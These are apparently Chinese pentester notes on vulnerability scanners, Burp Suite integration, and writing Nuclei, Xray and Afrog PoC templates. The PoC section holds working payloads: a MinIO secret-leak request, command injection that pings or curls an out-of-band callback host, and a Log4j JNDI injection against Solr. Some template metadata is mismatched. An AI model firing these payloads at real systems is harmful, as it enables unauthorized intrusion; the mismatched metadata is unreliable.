综合类扫描工具
AWVS
awvs基于爬虫技术可以帮我扫描目标可能存在的漏洞;工具是web页面简单易懂。
Xray
xray和awvs一样也是基于爬虫技术帮我们扫描目标的漏洞;但这款工具是命令行的。
--poc yaml文件(指定poc)
在xray下有一个配置文件config.yaml,该文件内可以设置代理;可以把数据包转发到BP,便于我们查看检测过程中的数据包。
BP和Xray联动
使用BP设置代理抓取数据包,然后将数据包都转发给Xray,Xray对数据包进行漏洞检测。
BP设置数据包的转发:
Xray监听:
AWVS和Xray联动
awvs负责主动扫描,然后将数据包都发给Xray;经过awvs的数据包都会经过xray的扫描。让他们两个联合工作;效率会更高。
AWVS、BP、Xray联动
awvs负责主动扫描,然后设置代理,代理就是BP的8000端口,把所有的数据包都发给BP;然后BP设置数据包的转发(同上BP和xray的联动),BP再把数据包发给xray。
特征类(也可综合)扫描工具
Goby
狐狸工具箱自带
Goby是一款新的网络安全测试工具,由赵武Zwell(Pangolin、JSky、FOFA作者)打造,它能够针对一个目标企业梳理最全的攻击面信息,同时能进行高效、实战化漏洞扫描,并快速的从一个验证入口点,切换到横向。能通过智能自动化方式,帮助安全入门者熟悉靶场攻防,帮助攻防服务者、渗透人员更快的拿下目标。
Nuclei
nuclei.exe -l urls.txt //批量扫描nuclei.exe -target http://xxxnuclei.exe -target http://xxx -t CVE-xx-xx.yaml
Afrog
afrog.exe -t url -o result.html
afrog.exe -T urls.txt -o result.html
afrog.exe -t url -P poc文件 -o result.html
afrog.exe -proxy=http://127.0.0.1:8080
Yakit
狐狸工具箱有
注意:
nuclei和afrog是完全利用爆出漏洞的POC打,并不会爬虫测试;而awvs和xray是先通过爬虫获取信息测试,最后用POC打。拿nuclei和afrog测vulweb这种靶场并不能测试出漏洞。
POC开发
工具:vscode+yaml
Nuclei
参考文章:
nuclei poc模板编写笔记(一)_nuclei poc编写-CSDN博客
nuclei poc模板编写笔记(二)_matchers: - type: dsl dsl: - "contains(body,'{{ran-CSDN博客
yaml是一种数据序列化语言,基本语法:
- 大小写敏感
- 使用缩进表示层级关系
- 缩进不能使用tab,只能使用空格
- 缩进的格数不重要,只要对其即可
对于POC的开发,我们直接从本地的poc中复制一个类似的,然乎更改即可。
id: CVE-2023-28432
info:
name: MinIO集群模式信息泄露漏洞
author: xiaodisec
severity: high
description: |
MinIO集群模式信息泄露漏洞
remediation: |
Update to WordPress Accessibility Helper version 0.6.0.7 or later to mitigate this vulnerability.
reference:
- https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0150
cwe-id: CWE-79
epss-score: 0.00133
epss-percentile: 0.47722
cpe: cpe:2.3:a:wp_accessibility_helper_project:wp_accessibility_helper:*:*:*:*:*:wordpress:*:*
tags: cve,mimio,cve2023
http:
- raw:
- |
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'MINIO_SECRET_KEY'
- 'MINIO_ROOT_PASSWORD'
- type: status
status:
- 200
#最后的匹配意思为返回包状态码为200且返回包内容中有MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD内容
主要就是下面的数据包发送和匹配规则,匹配规则主要就是从数据包中选择对应内内容。
BP插件生成:
下载插件Nuclei Template Generate插件。然后在测试数据包地方右键-extension-利用该插件生成POC。(数据包包括发送request和返回response的,都需要右键生成)
Xray
参考文章:
- Xray PoC-腾讯云开发者社区-腾讯云
- Xray Poc如何编写
在利用xray检测漏洞的时候,我们可以在配置文件中(config.yaml)设置代理,使用BP抓取数据包进一步分析。
-
name: poc-yaml-CVE-2023-28432 transport: http rules: r0: request: method: POST path: /minio/bootstrap/v1/verify headers: Content-Type: application/x-www-form-urlencoded expression: | response.status == 200 && response.body.bcontains(b"MINIO_ROOT_PASSWORD") && response.body.bcontains(b"MINIO_SECRET_KEY") expression: r0() detail: author: xiaodisec links: - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
name: string
poc名称如:poc-yaml-tongda-oa-rce
rules: []Rule # 脚本部分
poc规则:poc请求路径,请求内容,回显信息都由此匹配
method: string 请求方法
path: string 请求的完整Path,包括querystring等
headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中
body: string 请求的Body
follow_redirects: bool 是否允许跟随300跳转
expression: string
search: string
method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包
expression的作用是判断该条Rule的结果
search的作用是从返回包中提取信息
detail: map[string]string
就是平时xray扫描得到漏洞时xray返回的那一串爆红信息
无回显的直接ping dnslog地址,然后去dns平台看是否有记录即可。
name: poc-yaml-demo
transport: http
rules:
r0:
request:
method: POST
path: /ztp/cgi-bin/handler
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; ping piwus7.dnslog.cn;","data":"hi"}'
headers:
Content-Type: application/json
expression: |
response.status == 200 &&
response.body.bcontains(b"MINIO_ROOT_PASSWORD") &&
response.body.bcontains(b"MINIO_SECRET_KEY")
expression: r0()
detail:
author: xiaodisec
links:
- https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
Afrog
分析可以设置参数-proxy=xx,使用BP查看数据包。
在需要jndi注入的POC中,我们需要在配置文件中配置jndi;且需在远程服务器上开启。
id: my-poc
info:
name: My PoC demo
author: xiaodisec
severity: critical
rules:
r0:
request:
method: POST
path: /minio/bootstrap/v1/verify
headers:
Content-Type: application/x-www-form-urlencoded
expression: |
response.status == 200 &&
response.body.bcontains(b"MINIO_ROOT_PASSWORD") &&
response.body.bcontains(b"MINIO_SECRET_KEY")
expression: r0()
这个就配合上面配置的dnslog信息;ceye平台
id: my-poc
info:
name: My PoC demo
author: xiaodisec
severity: critical
set:
# 使用固定的名称
reverse: newReverse()
reverseURL: reverse.url
rules:
r0:
request:
method: POST
path: /ztp/cgi-bin/handler
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{reverseURL}};","data":"hi"}'
headers:
Content-Type: application/json
# 这里要调用 reverse.wait
expression: reverse.wait(5)
expression: r0()
这个配合上面的jndi注入
id: solr-log4j-rce
info:
name: Apache Solr Log4j Remote Code Execution
author: xiaodisec
severity: critical
verified: true
description: |
Fofa: app="APACHE-Solr"
created: 2023/06/09
set:
reverse: newJNDI()
jndiURL: reverse.url.host + reverse.url.path
rules:
r0:
request:
method: GET
path: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=json
expression: reverse.jndi(5)
expression: r0()
插件篇
BurpSuite
Fiora
GitHub - bit4woo/Fiora: Fiora:漏洞PoC框架Nuclei的图形版。快捷搜索PoC、一键运行Nuclei。即可作为独立程序运行,也可作为burp插件使用。
相当于是nuclei POC的图形化界面,可以对我们BP的数据包检测漏洞,不用我们输入命令。
我们要把nuclei.exe文件放到BP目录下。(burpsuite_pro目录下)
TsojanScan
GitHub - Tsojan/TsojanScan: An integrated BurpSuite vulnerability detection plug-in.
常见漏洞探针插件。它对BP的数据包自动进行扫描,不需要我们手动操作扫描。支持主动扫描、被动扫描
使用:
被动扫描就是自动对BP的数据包扫描
主动扫描需要我们主动对数据包进行扫描。(手动操作)
这种就是主动扫描。
RouteVulScan
它也支持主动、被动扫描,但它偏向于信息泄露之类的漏洞。
https://github.com/F6JO/RouteVulScan
HaE (辅助)
工具:GitHub - gh0stkey/HaE: HaE - Highlighter and Extractor, Empower ethical hacker for efficient operations.
就是根据不同规则帮我们高亮显示一些数据包。